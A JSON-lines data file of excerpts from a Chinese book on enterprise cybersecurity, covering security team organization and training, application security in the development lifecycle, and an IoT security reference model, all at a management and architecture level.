    {"text": "● 建立一套可持续运行的实战化、场景化的安全人员培养机制（包括配套的实训课程体系、认证体系等），能够持续地为企业培养相关人才，保障人员安全能力持续稳定的输出。 16.3 安全人员能力建设的方法与要点 16.3.1 总体流程 企业网络安全人员能力建设的内容不仅包含网络安全运行团队人员技术能力的培养和建设，还包含为保障能力有效落地并在企业运行中持续保持，所需要的组织机构、岗位职责等方面的建设，同时还包含全员的安全意识教育。 在图16.5所示的安全人员能力提升流程图中，可以概括为以下3个方面： ● 网络安全组织机构建设； ● 网络安全人员能力建设； ● 全员网络安全意识教育。 需要说明的是，企业网络安全人员能力的建设，并不意味着所有的能力都要由企业来建设，有些可以依靠外部咨询服务来完成，有些可以通过外包服务达成相应的能力，还有一些则是企业自身必须具备的安全能力。 图16.5 安全人员能力提升流程图 16.3.2 网络安全组织机构建设 1.网络安全团队设计 作为一个在数字化时代能够保障业务安全有序运转的机构，网络安全团队应基于安全体系规划和安全运行体系，结合信息化体系和人力资源特点，进行系统化设计，使其涵盖组织结构、汇报关系、成员构成、岗位设置、职级划分、岗位职责及薪酬体系等方面。 综合国家相关标准的基本要求，结合企业安全管理实践，一个典型的企业中网络安全组织机构如图16.6所示。 企业网络安全组织机构一般包含网络安全与信息化决策部门、网络安全归口管理部门、应急处理工作组和网络安全执行部门。 （1）网络安全与信息化决策部门 网络安全与信息化决策部门（如网络安全与信息化领导小组）是网络安全的最高决策机构，负责研究重大事件、落实方针政策和制定总体策略等。"},
    {"text": "网络安全与信息化决策部门一般为机构内的虚拟组织，其主要职责如下： ● 根据国家和行业有关信息安全的政策、法律和法规，批准机构信息系统的安全策略和发展规划；"},
    {"text": "● 确定各有关部门在信息系统安全工作中的职责，领导安全工作的实施； ● 监督安全措施的执行，并对重要安全事件的处理进行决策； ● 指导和检查信息系统安全职能部门及应急处理小组的各项工作； ● 建设和完善信息系统安全的集中管控的组织体系和管理机制。"},
    {"text": "图16.6 企业网络安全组织机构示意图 （2）网络安全归口管理部门 决策部门下设网络安全归口管理部门（信息安全职能部门）作为日常工作执行机构。"},
    {"text": "该部门的主要职责如下： ● 根据国家和行业有关信息安全的政策法规，起草组织机构信息系统的安全策略和发展规划； ● 管理机构信息系统安全日常事务，检查和指导下级单位信息系统安全工作； ● 负责或组织安全措施的实施，组织并参加对安全重要事件的处理，监控信息系统安全总体状况，提出安全分析报告； ● 指导和检查各部门和下级单位信息系统安全人员及重要岗位人员的信息系统安全工作；"},
    {"text": "● 管理信息系统安全机制中管理机构的各项工作，实现信息系统安全的集中控制管理； ● 完成信息系统安全领导小组交办的工作，并向领导小组报告机构的信息系统安全工作。"},
    {"text": "（3）应急处理工作组 应急处理工作组（可作为虚拟组织设立）的组长由信息技术部门负责人担任，成员由信息安全工作组负责人提名，报信息安全领导小组审批。 应急处理工作组的主要职责如下： ● 制定、修订公司网络与信息系统的安全应急策略及应急预案； ● 决定相应应急预案的启动，负责现场指挥，并组织相关人员排除故障，恢复系统；"},
    {"text": "（4）网络安全执行部门 网络安全归口管理部门下设网络安全执行部门，负责对安全管理员、系统管理员、数据库管理员、网络管理员、重要业务开发人员、系统维护人员、重要业务应用操作人员等信息系统关键岗位人员进行统一管理。 2.网络安全岗位能力 在安全管理机构及岗位确定后，需要考虑如何培养相应岗位上的人员能力，明确不同岗位的岗位职责、工作流程、能力要求。 网络安全技术岗位的类别及领域划分可以参考NICE [3] 网络空间安全人才框架进行设计，如图16.7所示。 NICE网络空间安全人才框架将网络安全从业人员分为7个大类、33个专业领域和52个工作角色，并为每个角色设置了应执行的任务（Task），以及应具备的知识、技能和能力（KSA）。 NICE网络空间安全人才框架像是一部安全人才字典，是内容丰富全面的参考手册，但对于大部分企业来说过于庞大，需要根据企业的实际情况，与专业的安全服务厂商配合，梳理规划出适合企业实际情况的岗位设置。"},
    {"text": "图16.7 NICE网络空间安全人才框架（NCWF）中的类别及专业领域 图16.8 岗位设置示例 规划出岗位设置即可明确岗位描述，在这个基础上可以梳理出岗位的典型工作任务和工作流程，由此总结提炼出该岗位的通识能力和专业技术技能。"},
    {"text": "表16.1 岗位职责、工作任务及所需技能梳理示例 组织结构及岗位职责规划一旦完成，则不应经常变化，除非业务流程及业务系统发生重大变化。"},
    {"text": "因此网络安全组织结构及岗位职责规划可由企业牵头，借助专业的安全厂商来进行规划。 同时，应根据企业的业务特点和人力资源规划，进行科学设计，确定哪些岗位可以通过专业的安全外包服务商来解决，哪些岗位是企业自身必须具备的。 16.3.3 网络安全人员能力建设 1.网络安全实训课程体系和能力认证体系 在确立组织结构和岗位职责后，最重要的落地工作就是根据岗位职责，结合网络安全人才框架能力模型，确定各个岗位的安全能力要求。 然后按照安全能力要求，综合设计网络安全实训课程体系。 另外，需要建立不同岗位的人才评价标准，设计符合行业网络安全岗位能力要求的网络安全能力认证体系。 2.网络安全实训/竞赛平台和实战训练靶场 建设用于网络安全学习和实践的网络安全实训/竞赛平台，以及用于网络安全实战和应急响应的网络安全实战训练靶场，提升人员的网络安全技能和安全团队的实战能力。"},
    {"text": "另外，由于网络安全本身的很多操作具有破坏性，或者改变网络防护策略可能会对业务有潜在影响，因此“实网演练”往往不会用于日常的人员实训，只在特定时间的演习中才能执行。 由于网络安全本身的实战对抗性以及企业在职人员的团队特性，因此“实操实训”和“靶场演练”这两个环节尤为重要。 图16.9 网络安全人才培养的各主要环节 在图16.10所示的网络靶场全景图中，“网络安全教学实训靶场”“网络安全竞技靶场”和“场景化实战演练靶场”用于人员安全能力建设，“网络安全综合测试靶场”主要用于科研和测试，“实网演习靶场”主要用于实网攻防演习，一般以服务的方式提供。 图16.10 网络靶场全景图 “网络安全教学实训靶场”即我们常说的实训系统，内置了网络攻防、安全运营、云安全、代码安全、网络取证、逆向、安全管理等各个方向的课程、仿真实训环境以及考核评估功能，集成了十多款网络安全产品，可以进行各种网络安全知识的学习和实操训练，可以帮助安全工作人员掌握网络安全方面的各项技能。 实训系统以单人学习训练为主，旨在把网络安全相关的知识（Knowledge）转化成技能（Skill）。"},
    {"text": "通过举办网络安全竞赛，以赛促学、以赛代练，能够很好地提升企业安全团队的学习积极性，检验学习效果。 与实训系统的知识学习、单人的技能练习，以及竞技系统中专门设计的简单模拟攻防不同，“场景化实战演练靶场”强调在真实的企业场景中，使用真实的安全运营设备，模拟真实的网络攻击，以安全运营团队为组织，进行综合的网络安全应急响应演练。"},
    {"text": "通过“场景化实战演练靶场”，安全工作人员可以把所学的知识（Knowledge）、技能（Skill）有效转化为实际的能力（Ability）。 “场景化实战演练靶场”的一个重要特性是简单易用，能够快速灵活构建攻击场景，使用户将注意力放在团队训练上，而不是花费大量的时间和人力去建设资源、开发场景、设计流程。"},
    {"text": "企业可以根据自身需求，建设符合自身特色的课程资源和平台，并通过持续地积累和不断地调整优化，形成自己的安全人员能力建设系统。 16.3.4 全员网络安全意识教育 在企业安全人员能力建设中，全员网络安全意识教育也是重要的一环。 企业安全意识能力建设的落地主要包含资源建设和制度建设两个部分。"},
    {"text": "制度建设主要是通过组织行为来保证个人能力能够有效提升，从而保障组织的整体安全人员能力。 制度建设主要通过在绩效管理中纳入安全意识考核结果，并在岗位职责中明确安全意识能力，有效保障在职级晋升过程中相应岗位的人员具备相应的安全意识能力。"},
    {"text": "第17章 应用安全能力支撑 17.1 数字化转型与业务发展的新要求 17.1.1 数字化转型对应用安全提出新要求 随着产业的不断发展，数字化转型已经逐渐成为各行业发展的必然趋势。"},
    {"text": "企业不再局限于利用信息技术来提升效率和改善用户体验，而是开始利用信息化来改善业务决策、增强创新、促进企业转型，从而确保企业在竞争中获得领先地位。"},
    {"text": "应用系统基于信息化能力承接业务需求，是企业业务在信息化环境中的投射。 应用系统也成为业务需求和信息化技术最主要的结合点，以及企业数字化转型的关键，这也给应用安全提出了更高的要求。"},
    {"text": "在敏捷模式下，一个迭代往往在1～2周内完成，应用系统的开发、测试、部署是快速迭代并同时进行的，这对应用系统的安全保障提出了更高的要求。"},
    {"text": "● 集成中间件的增加带来更多风险 在数字化转型的背景下，应用系统开发团队会更多地使用中间件来提升开发效率。 由于集成中间件的增加，软件供应链对应用系统安全性的影响增大，这将给应用系统安全带来更多风险。"},
    {"text": "● 自动化带来全新的要求 在数字化转型的背景下，应用系统的开发、测试、运维都需要广泛地使用工具和平台来提升自动化水平。 在这些应用系统的生命周期内引入的自动化的工具和平台，对安全融入应用系统生命周期提出了全新的要求。 ● 应用系统的安全要求不断增强 在数字化转型的背景下，随着网络安全法、密码法、“等保2.0”的颁布，以及个人信息保护、数据安全相关标准和立法的不断推进，国家、行业对信息化的安全要求不断提升，对应用系统的安全要求也不断加强。 与此同时，越来越多的应用系统随业务的发展不再局限于在组织内部使用，而更多地向合作伙伴、用户开放，这也将对应用系统提出了更高的安全要求。 17.1.2 网络安全形势与威胁 在数字化转型的背景下，企业在快速发展业务的同时，也会建立与客户、行业生态间的广泛连接，从而使得企业应用系统的业务价值不断提升。"},
    {"text": "正是这些业务层面的变化使得应用系统的开发从传统的瀑布模式转向了敏捷开发模式，并引入了包括移动应用、云计算、大数据、物联网、边缘计算、5G通信、人工智能等在内的一系列新技术，这极大地扩展了企业暴露给外界的攻击面（Attacking Surface），使得企业数字化环境的安全边界逐渐变得模糊，给数字化转型的安全带来严峻挑战。"},
    {"text": "17.1.3 传统能力的不足 传统的应用开发安全能力支撑在应用架构管控、安全需求、安全能力支撑、安全工具与开发流程的集成方面存在较多问题和不足。 ● 应用架构管控不足 在传统的应用开发中，架构管控组织中往往缺乏安全架构师，且安全团队参与的时间较晚。 安全团队往往无法及时对应用提出架构层面的安全建议，也难以把安全因素融入到组织的应用架构管控流程中去，导致应用架构缺乏安全视角的有效输入，由此导致安全风险增大，安全能力长期难以提升。 ● 缺乏系统化安全需求导入 应用系统安全往往跨越多个层次，涉及各个领域。 而传统的应用开发往往缺乏对安全需求系统的梳理和分析，导致缺乏系统化的安全需求导入。 ● 组件化安全能力支撑不足 由于缺乏安全基础设施的支持，在身份和认证、数据加密、业务安全、统一日志审计等方面都缺乏必要的支撑，导致各个业务系统的安全能力参差不齐，同时也导致这些方面的安全控制措施难以实施。 ● 缺乏与开发流程集成的安全工具 在传统的应用开发中，安全大都通过流程卡点的形式与开发流程集成，实际的安全检查、审核的工作是由安全人员人工执行的，且不便与开发流程中的工具和平台集成。"},
    {"text": "17.2 什么是应用安全能力支撑 17.2.1 基本概念 应用安全能力是结合应用开发流程，充分考虑敏捷、持续集成、开发运维一体化（DevOps）等应用开发新模式，实现安全防护机制内生于应用系统，保持应用开发敏捷的同时，确保应用建成后满足合规要求，能够对抗风险，实现安全防护机制内生于应用系统的组织能力。"},
    {"text": "17.2.2 设计思想 ● 内生安全思想 内生安全是应用安全能力支撑的核心思想，需要将安全工具与应用系统开发、测试、运维的工具和平台进行对接与集成，使安全嵌入到开发乃至运维的每个阶段，实现安全工作的前置，将安全与应用系统的开发、测试、维护进行深度聚合。 ● 系统工程思想 应用系统是业务信息化的主要载体，需要运用系统工程的思想，通过业务、应用、数据、技术的多视角分析来充分识别安全需求； 通过安全架构规范、安全部署规范、安全基础设施、安全能力组件形成应用安全能力支撑； 通过自动化工具、平台的整合，实现与应用系统从开发到运行的全生命周期融合，实现对应用系统各个层面、各个领域、各个阶段的安全能力支撑。 17.2.3 总体架构 应用安全能力支撑需要围绕应用开发流程，在需求分析、架构设计、开发、测试、部署、运行的各个环节将安全内置于应用生命周期的各项活动中，实现安全内生于应用的全生命周期（见图17.1）。 图17.1 安全能力支撑总体架构 17.2.4 关键技术 ● 设计模板化 设计模板化是应用安全能力支撑的重要基础，需要综合业务、应用、数据、技术等多个视角的安全分析，形成安全需求清单、安全架构模板，增强架构管控能力，奠定应用安全持续提升的基础，系统化提升应用安全支撑能力。"},
    {"text": "在这种敏捷开发的模式下，安全也需要构建安全工具链，实现自动化的安全测试、软件组件分析与检查、代码安全检查。 ● 工具集成化 为了确保在应用敏捷交付的同时确保安全，需要加强不同团队间的协作，实现安全措施的前置。 这样的融合需要构建覆盖应用生命周期各个环节的安全工具链，并将其与应用持续集成和持续交付的流水线充分集成，促进“人人参与安全，人人为安全负责”安全文化的形成，实现安全与开发、测试、运维流程的深度融合。 17.2.5 预期成效 为了达成这个目标，需要围绕应用开发生命周期，构建应用安全能力支撑体系，优化应用开发流程，在需求确定、架构管控、编码开发、测试评估等环节添加应用开发生命周期安全控制机制。"},
    {"text": "17.3 应用安全能力支撑的方法和要点 为了满足业务的需求，企业将应用系统部署在相应的计算环境中，并通过持续的监控和维护使其能够稳定地对外提供服务，从而实现对业务的支撑。 因此，应用安全能力支撑的核心目标是确保企业具备持续获得安全应用系统的能力，以及通过正确的部署、运行来确保应用系统安全性的能力。"},
    {"text": "为了确保能够获得安全的业务系统，企业需要根据应用系统的获取途径（自主开发、购买商业软件等），在应用生命周期中各个阶段的流程卡点，使用检查列表和检查工具，确保应用安全治理措施的落地；"},
    {"text": "除此之外，为了确保企业具有持续获得安全应用系统的能力，需要通过自动化、工具化、平台化使安全内嵌于应用系统生命周期，也需要通过安全治理使安全内嵌于相关应用系统生命周期的组织、流程、文化中。 为了能够将应用系统从软件系统变成实际的业务系统，企业需要将应用系统正确、安全地部署到计算环境中，并通过持续地运维、监控、响应来确保业务系统正常运行。 而随着云计算、边缘计算的发展，企业的计算环境已经发生了显著的变化，企业需要结合应用系统的架构特点、应用系统的部署方案，构建适应于应用系统架构和计算环境的业务系统安全架构。 除此之外，还应该建立覆盖应用系统及计算环境的实战化安全运行能力，从而确保应用系统的安全运行。 17.3.1 构建应用安全能力 构建应用安全能力，需要充分考虑以下几个方面。"},
    {"text": "这些活动包括：确定应用安全目标； 规划和分配应用安全相关的组织、角色与职责； 规划应用安全流程卡点，确定应用安全相关的预算和评估指标；"},
    {"text": "合规需求清单、安全需求清单、安全编码规范、应用框架和中间件规范、软件供应商应用安全义务标准等在内的覆盖应用系统生命周期各项相关工作的标准和要求； 满足安全需求所需的设计模式、中间件和通用库清单、安全架构模式、安全中间件、安全指南等。 ● 应用生命周期安全 应用生命周期安全涵盖了进行应用系统安全分析、保障应用系统安全开发的各项实践，及其相关的流程、工具、文档等，包括：通过架构评审流程结合应用系统的软件架构、应用风险和威胁列表，进行应用系统安全架构分析，制定评估、修复、加固计划；"},
    {"text": "通过代码审查工具结合应用系统特点，制定审查规则，针对应用系统生命周期中不同角色（例如开发人员、测试人员、安全审计人员）使用的工具制作自定义的配置文件来进行分析、跟踪并评估修复结果；"},
    {"text": "把漏洞扫描、模糊性测试（fuzzing）、风险驱动的代码测试、攻击模型的应用、代码覆盖率分析等各种安全性测试与软件工程的标准质量保证（QA）流程、软件发布流程、应用上线流程进行深度融合，并将安全性测试的结果与软件缺陷进行关联和统一的管理。"},
    {"text": "● 应用安全部署和运行 应用安全部署和运行覆盖了传统的网络安全和应用系统运维组织的各项工作，其中包括通过安全应急响应中心（SRC）面向安全社区和用户收集应用系统的漏洞、安全事件、安全威胁；"},
    {"text": "使用安全基础设施，对应用系统及其所在的计算环境进行监控，建立应用系统安全部署的架构指南和配置指南； 建立应用系统和计算环境各个层面的基线（包括静态的配置，也包括动态的指标），然后进行有效的监控，并对安全事件和异常进行及时响应和处置；"},
    {"text": "在配置管理、事件管理、问题管理等关键的流程中充分考虑安全相关的因素，把安全配置、系统补丁、应用升级、应急响应等安全工作与运行维护体系（如，ITIL）进行深度融合。"},
    {"text": "● 任务1：建立应用部署规范和检查清单，确保应用按照安全域划分正确地部署在基础设施环境中； 建立应用运行环境规范和检查清单，确保应用运行环境正确地使用网络、主机和云基础的安全防护能力，并能够对应用的输入、输出进行监控。"},
    {"text": "● 任务6：编写涵盖国家和地方法律/法规、监管要求、行业标准、内部规范的安全合规要求检查表，建立安全通用需求清单，把安全需求导入到应用；"},
    {"text": "● 任务7：建设涵盖静态应用代码安全测试（SAST）、动态应用代码安全测试（DAST）、交互式应用代码安全测试（ISAT）在内的应用代码安全测试（AST）平台，实现代码安全检查与应用开发测试的聚合；"},
    {"text": "建设软件组件分析（SCA）平台，建立应用开发框架、中间件和通用库清单，结合漏洞情报，提高应用开发框架、中间件和通用库漏洞管理的准确性和效率。"},
    {"text": "● 任务11：定义并制备身份管理、访问控制、权限执行和密码操作等开发库，通过架构模板、开发规范、测试清单等SDLC安全控制机制确保在应用中正确使用。"},
    {"text": "● 任务12：建立安全需求规范和架构模板的演进机制，根据威胁建模、攻击面分析，结合安全威胁和安全事件数据，在架构层面审视应用安全架构，确保安全通用需求和安全架构模板的演进升级。"},
    {"text": "● 任务13：更新供应商责任清单，明确供应商对安全漏洞和安全事件的响应义务，要求软件供应商遵循需求确定、架构管控、编码开发、测试评估等环节的SDLC安全控制机制。"},
    {"text": "第18章 物联网安全能力支撑 18.1 物联网支撑企业数字化转型带来新的威胁 物联网于1985年提出 [4] ，至今经过35年的演进完成了从概念到技术实现的转变，走进了人们日常的生产与生活。"},
    {"text": "物联网发展有三个比较明显的阶段：第一阶段是通信协同阶段，即以实现M2M [5] 为主要目标，机器间通过交换数据实现协同联动； 第二阶段是感知使能阶段，以传感器的多元化发展为主要标志，伴随着多种新型传感技术的出现及传感器进一步的微型化，物联网极大地扩展了对现实世界的电子化、数字化感知能力； 第三阶段是智能化阶段，随着芯片技术、通信技术、IT技术的持续发展，物联网从业务智能化扩展到包括接入、组网、故障切换、可靠服务、运维等方方面面的自动化、智能化，极大地降低了人工成本。 在当前物联网向第三阶段智能化过渡、技术应用爆发性增长的环境下，企业如何在引入物联网技术、建设物联网系统的同时遵循安全“三同步”原则，同步规划、同步建设一套行之有效的机制、体系来保障建成后的业务系统可以安全有序地持续运行，与引入物联网技术来支撑企业数字化转型同样重要。 18.1.1 物联网特性带来安全挑战 得益于通信技术尤其是5G的普及，其大带宽、低时延、海量连接的特性为物联网的海量接入、边缘计算提供了承载平台。"},
    {"text": "在物联网边缘区域，形形色色的海量设备承担了数据的采集、分析、处理工作，甚至包括对指令反馈的响应、动作，使得物联网边缘成为实实在在的现实世界与数字世界的转化边界，也决定了安全对于物联网来讲其意义包含功能安全（Safety）与信息安全（Security）的双重含义。"},
    {"text": "● 设备类型碎片化 由于感知层设备往往需要针对业务用途进行定制化，从初级方案到系统选择都需要依据自身业务的多种需求（如业务数据采集、安防监控、运维巡检等）从多个维度进行量身定制，故而形成了感知层大量类型不一、用途不一、性能不一的设备同时存在的情况（亦即碎片化），也无法统一所有感知层设备的终端安全能力。 ● 部署泛在化 物联网依靠感知层实现对物理世界的感知、反馈，而一个企业在物理世界中的业务分布也必然不会局限在一个机房内，往往会依据业务需要分布在真实世界广泛的物理空间中。"},
    {"text": "以上两个方面决定了物联网感知层设备必然是依据企业业务的需要而形成多种类传感器共存的情况，且这些传感器需要依据业务覆盖的空间进行泛在部署。"},
    {"text": "通常需要考虑传感网数据交互频率、带宽需求、网络可靠性、网络可达性等多方面指标，来决定该采用哪种通信方式（如专线、LPWAN、3/4/5G、卫星网络等）进行通信。"},
    {"text": "而感知层设备的离散部署往往又导致物联网边缘侧的接入网络通常会以多种组网方式组合构成，从而导致传统边界安全设备难以适配复杂的异构网络，无法全面、有效地对感知层网络实现安全保障。"},
    {"text": "18.1.2 物联网安全现状 在物联网发展的过程中，核心驱动力是通过新技术解决业务的自动化，加之在物联网第一阶段、第二阶段，网络安全的概念还处于发展早期，影响力有限，因此无论是设计还是应用几乎不考虑安全因素。"},
    {"text": "然而，伴随着传感器、互联网、大数据、AI技术的发展，物联网在提升智能程度的同时开始承载越来越多的企业核心数据。 随着网络安全概念日益深入人心，企业逐渐开始在建设、使用物联网时考虑安全保障问题。 但是，长期以来不同业务部门根据不同需要引入的大量物联网设备，几乎没有系统化管理，如在设备方面，资产是否在用、状态是否正常、是否存在漏洞等关键信息缺少维护； 在网络方面，由于设备多样、责任部门不一、没有统一规划而导致物联网设备混杂接入办公网、服务网，导致拓扑不清，网络出口不清； 在设备管理方面，更多依赖设备厂商提供的管理系统，这也导致因多种物联网系统同时运行而带来的的管理、运维复杂性等问题，愈发凸显了物联网设备类型碎片化、部署泛在化、网络异构化带来的安全管理难题。 18.1.3 物联网安全保障能力缺失 经过对物联网系统进行泛化、抽象并结合复杂系统的分析方法进行建模分析后，我们发现，当前绝大多数的物联网边缘安全保障能力缺失，导致当前多数物联网安全规划、建设与安全预期严重脱节，很可能建成后无法切实满足最初的安全目标，甚至在安全事件爆发时防护完全无效。 我们仍然从物联网三大特点出发进行分析： ● 物联网设备类型的碎片化决定了物联网感知层设备无法通过传统上安全的终端安全地以低成本、快速的方式对所有终端设备统一部署端上安全能力并进行管理；"},
    {"text": "例如，对于感知层设备，在满足业务需要的前提下，选择成本较低的直接联网方式，业务数据通过互联网再经由企业网互联网入口反向访问服务器实现业务连接，认为业务数据在传输过程中增加加密要求就等同于物联网安全。 在网络安全建设中寻找更加明确的边界进行边界安全设备的部署，例如将准入控制、防火墙、入侵检测等设备部署在汇聚层，认为只要能阻止威胁深入渗透就等同于物联网安全。 在平台层通过大数据方式建设威胁分析平台，认为通过对全域数据的分析实现威胁识别就可以保证物联网安全等。 但是，这些方式的根本问题在于没有认识到相应安全手段在物联网场景下的局限性，例如低成本开发的设备，必然导致设备自身的安全是难以统一、直接管理的，而大量同样设备的存在也使得感知层设备天生就存在批量失陷甚至沦为工具的潜在风险； 边界设备的部署难以下沉，更导致了感知层内部东西向流量的无监控状态，进一步导致威胁在感知层横向移动时难以被发现，更没有有效手段进行应急处置； 而海量设备的大量数据传输、处理、分析都需要一定的时间，也就导致了以大数据方式进行物联网高级威胁分析的时延通常是以小时为单位的，这也成为留给攻击者在感知层的有效窗口。"},
    {"text": "18.2 什么是物联网安全能力支撑 18.2.1 基本概念 物联网安全能力支撑是针对当前物联网发展阶段，结合企业对物联网建设的泛化模型，以复杂系统的分析方法进行建模、分析后进行安全架构设计而得到的一个安全参考模型。 它以建设边缘安全保障能力为主要目标，能够为遵循安全三同步原则进行物联网系统建设，帮助企业认清物联网安全的难点和安全能力需求，并提供可以与企业整体安全架构紧密结合的物联网安全建设参考。 18.2.2 设计思想 物联网安全能力支撑参考模型的核心设计思想是识别物联网安全与传统网络安全的差异所在，通过安全能力的更新、再部署来补齐企业物联网环境的安全保障能力与现实需求的差距。 设计过程则是针对物联网自身特点，以EA的设计方法，结合威胁建模、SANS滑动标尺等多种工具，将安全能力进行细粒度拆解后，用构件化的方式进行能力部署规划。 最终目标是实现物联网边缘设备可察、接入可信、风险可知、威胁可控，并具备一定的自学习、自进化能力，能够实现物联网系统全生命周期的安全保障。 18.2.3 参考模型 能力支撑参考模型无法脱离业务而独立存在，所以物联网安全能力支撑参考模型也抽象为端-边-云三层架构，分别为物联网终端基础安全、物联网安全接入平台和云端的物联网统一安全管理平台、物联网大数据威胁分析平台，如图18.1所示。 ● 物联网终端基础安全 在终端侧通过软件供应链安全管控体系提高物联网设备进入生产环境的安全标准，可以采用固件分析、安全测评相结合的手段，并将相关分析、测评结果导入系统安全平台以补全物联网资产-固件-漏洞关系； 建立物联网设备纳管体系，统一接入物联网设备上报数据要求与身份唯一标识运算标准。 ● 物联网安全接入平台 通过对威胁感知、设备监控、资产探查、身份验证、日志采集、虚拟补丁、SDN、接入控制、配置管理、固件分发、漏洞感知能力的模块化再部署，建设更适应泛在化部署、多元接入方式的物联网安全接入平台。"},
    {"text": "图18.1 物联网安全能力支撑参考模型 ● 物联网大数据威胁分析平台 在云端建设物联网大数据威胁分析平台，实现对全域数据的威胁分析及威胁感知模型的持续迭代，实现全生命周期的威胁感知自进化。 ● 物联网统一安全管理平台 通过建设物联网统一安全管理平台实现包括软件定义网络（SDN）在内的全域纳管设备统一策略编排，与态势感知平台协同联动提高安全运维的决策效率； 与物联网使能平台打通接口，实现资产设备信息的多源数据互补，为设备管理提供更翔实的数据，最终支撑全域物联网设备全生命周期的安全管理。"},
    {"text": "18.2.4 关键技术 ● 设备唯一标识 实现感知层设备接入的身份鉴别是实现设备接入管控的基本要求，也是未来对接细粒度身份控制的基础。 企业需要结合设备硬件特征，通过密码方法实现全域不可仿冒、不可篡改的唯一标识体系，并能够对所有接入设备通过唯一标识进行设备合法性验证。"},
    {"text": "● 边缘计算 现阶段，物联网感知设备多数出于成本考量而算力有限，而海量设备的接入、智能化响应等需求也决定了物联网自身业务离不开边缘计算技术。"},
    {"text": "● 边云协同 边云协同主要是结合边缘计算节点和云计算的优势，战略性地将数据处理进行分层实现以提高数据分析效率。 在物联网安全能力支撑参考模型中，边云协同还代表安全运算能力的协同，通过技术手段将云计算威胁建模后部署在边缘计算节点，并由边缘计算节点使用威胁模型对边缘侧数据进行分析，以期在威胁发生的第一时间能够精准识别。 ● 人工智能 物联网时代，海量感知设备在边缘侧接入并持续产生数据，想要在靠近数据源的边缘侧对海量多源异构的数据进行持续、智能的监控与分析，以及想在威胁发生的第一时间准确识别并自动选择合适的方式进行处置，人工智能与边缘计算的结合是可靠的技术实现路径。 而两者结合的边缘智能演进方向，也是未来物联网设备爆炸性增长后能够保障边缘自治自律的必然发展方向。"},
    {"text": "● 流量指纹 对于接入设备的识别、行为分析等都依赖于设备特征的可读性，而物联网设备由于其碎片化而导致设备网络流量的辨识度极低，加之加密流量的存在导致在实际场景中基于流量来识别仿冒/篡改设备，识别设备风险动作、感知边缘网络威胁时误报率较高。"},
    {"text": "18.2.5 预期成效 ● 边缘设备可察 通过在安全接入平台部署接入管控、SDN、流量指纹等技术，对连接至安全接入平台的物联网设备进行主被动结合的辨识，再结合唯一标识就能够有效识别接入设备的合法性。 ● 接入可信 通过安全接入平台与身份管理访问控制平台、系统安全平台之间的联动，可对接入设备的身份、访问权限进行动态鉴权，对于风险设备、非法设备能够进行通信隔离或接入阻断。 ● 风险可知 在安全接入平台部署智能引擎，对边缘数据进行持续分析，并通过主被动结合的方式对接入设备进行脆弱性感知，将识别的威胁、脆弱性风险上报至管理平台、态势感知平台，从而做到边缘风险的动态监控。 ● 威胁可控 除了可以部署威胁分析能力外，在边缘接入平台可以适当部署边界防护能力，如防火墙、IPS等，使得与云端管理平台实现基于策略的协同联动后可以有效地实现接入阻断、通信隔离、网络防护、虚拟补丁等不同层次的边缘安全防护。 ● 全生命周期安全运营 通过在云端建设统一安全管理平台，对上报的日志、数据进行集中分析，协同大数据威胁分析平台可以支持全域物联网的持续安全运营。 不断地通过海量设备的行为、日志对威胁感知模型进行训练、迭代，使得边云协同方式的威胁感知能够在数据驱动下实现持续进化，从而能够保证物联网系统全生命周期的威胁管理能力。 18.3 物联网安全能力支撑建设方法与要点 18.3.1 物联网终端基础安全 1.建设、健全软件供应链安全管控体系 物联网边缘设备的碎片化是导致物联网安全无法直接套用传统终端安全的直接原因。"},
    {"text": "在设备混杂、可部署安全能力参差不齐的情况下，企业应当使用多种方式来尽量缩短感知层设备的安全能力差距，使“木桶”最短的板长更接近平均长度。"},
    {"text": "如依据设备预期使用场景考虑增加专用硬件安全模组，以实现硬件级别的TEE/SE，在强保密需求环境下要求厂家对MCU、MEMS、FLASH、密码芯片等重要芯片、电路增加电磁屏蔽罩/网 [7] 等。 ● 对设备供应商、系统开发商的设备端系统、应用开发过程的安全保障提出要求，如建立开源组件、第三方组件的版本应用与漏洞风险信息管理机制，对软件供应链进行安全管理，并能够在发生风险时及时整改，条件具备时还应当打通供应商与用户之间的信息通道，使得在风险暴发时能够及时高效地协同用户对已上线设备进行应急响应。 ● 建立设备安全符合性测评机制并建设相关系统、平台，对供应商提供的设备进行全面测评（包含硬件和软件）以评估设备是否符合之前对供应商提出的安全设计、开发要求，系统/应用涉及的开源组件、第三方组件版本是否存在漏洞，并要求供应商整改直至符合性达标。"},
    {"text": "2.建立物联网设备安全纳管体系 如前所述，因为无法统一感知层设备的端上安全能力，也就意味着在数据层面会有所缺失，所以为了尽可能地补全数据，以支撑上层业务、应用以及安全维度的深入分析，需要能够有效补充终端侧关键信息。 而想要实现物联网业务智能化的核心技术——边缘计算，也意味着需要在边缘侧进行多维度的数据运算，因而终端关键数据的补全以及异构数据的融合处理成为影响边缘侧数据分析能力的基础因素。 为了能够对海量异构数据实现合理的分层、分布式处理，利用边缘计算节点实现安全数据关联分析，提高边缘威胁感知敏感度，企业应当建立设备纳管标准及相关能力体系。 对设备接入的通信协议、通信格式、通信内容进行标准化约束，要求设备接入时提供可与设备管理系统进行设备身份验证的不可篡改的唯一标识，要求设备上报业务感知数据、关键状态信息（如资源占用、进程列表、监听端口等）、与管理和安全关系密切的监控信息。"},
    {"text": "18.3.2 物联网安全接入平台 面对泛在部署的海量感知层设备的接入，利用边缘计算节点将威胁感知与安全管控能力在最贴近数据源的边缘侧落地，是网络安全关口前移思想的战术落地。 在面对5G和未来通信技术大带宽、低延时、海量接入的特性时，可以通过虚拟化、服务化、AI技术，在边缘侧构建物联网安全接入平台，来实现设备可信接入、边缘威胁感知、接入设备脆弱性感知、风险缓解。"},
    {"text": "● 边缘威胁感知 物联网安全接入平台具有对感知层南北向流量和东西向流量全感知的先天优势，对于符合纳管标准，以及能够部署安全探针的物联网设备，可实现端上数据与边缘流量数据的补全。"},
    {"text": "● 接入设备脆弱性感知 通过对边缘流量的多维度关联分析，以及结合主动扫描技术，安全接入平台能够对接入的设备实现漏洞发现、配置脆弱性感知。 结合感知设备终端相应信息的上报与获取，能够进一步提升安全接入平台的脆弱性感知能力和识别准确率。"},
    {"text": "● 风险缓解 使用NFV（Network Function Virtualization，网络功能虚拟化）技术将防火墙、入侵防御等网络防护功能模块化后再进行部署，可以使物联网安全接入平台具备对边缘风险的基本响应与处置能力。"},
    {"text": "由此实现风险设备的接入阻断和通信隔离，实现威胁流量的网络阻断，以及对漏洞和脆弱性利用的网络特征进行封堵，提供网络层面的虚拟补丁能力，从而提高边缘侧感知设备风险处置的灵活性。"},
